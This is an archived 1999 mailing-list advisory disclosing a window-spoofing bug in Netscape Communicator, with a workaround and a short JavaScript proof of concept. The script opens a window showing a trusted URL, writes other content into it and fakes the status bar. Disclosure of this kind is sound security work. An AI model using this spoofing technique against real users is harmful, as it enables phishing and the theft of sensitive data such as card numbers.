Netscape Communicator window spoofing bug

From: Georgi Guninski (guninskiat_private)
Date: Tue Feb 16 1999 - 09:46:05 PST

  • Next message: cbrenton: "Re: NT DoS on FW-1"

    There is a bug in Netscape Communicator 3.04,4.06,4.5 Win95 and 4.08
    WinNT,
    which allows "window spoofing".
    After visiting a hostile page (or clicking a hostile link) a window is
    opened and its
    location is a trusted site. However, the content of the window is not
    that of the original site,
    but it is supplied by the owner of the page. So, the user is misled he
    is browising
    a trusted site, while he is browsing a hostile page and may provide
    sensitive information,
    such as credit card number.
    The bug may be exploited using HTML mail message.
    It needs Javascript enabled.
    
    Workaround: Disable Javascript
    
    Demonstration is available at:
     http://www.nat.bg/~joro/b14.html
     http://www.whitehats.com/guninski/b14.html
    
    This bug is different from the "frame spoofing vulnerability"
    
    The code is:
    -------------------------------
    function doit()
    {
    
    a.document.open();
    a.document.write("<H1>Look at the location bar!<BR>");
    a.document.write("<A HREF='http://www.whitehats.com/guninski'>Go to
    Georgi Guninski's home page</A></H1>");
    a.document.close();
    }
    
    function winopen() {
    a=window.open("view-source:javascript:location='http://www.yahoo.com';");
    setTimeout('doit()',30000);
    }
    
    </SCRIPT>
    
    
    <A HREF="javascript:void(0)" onclick="winopen()"
    onMouseOver="window.status='http://www.yahoo.com';return true">
    Follow this link to go to www.yahoo.com (or somewhere else)
    </A>
    -------------------------------
    Note: My web page has moved. Look below for the new URLs.
    
    Regards,
    Georgi Guninski
    http://www.nat.bg/~joro
    http://www.whitehats.com/guninski
    
    ______________________________________________________
    Get Your Private, Free Email at http://www.hotmail.com
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:35:18 PDT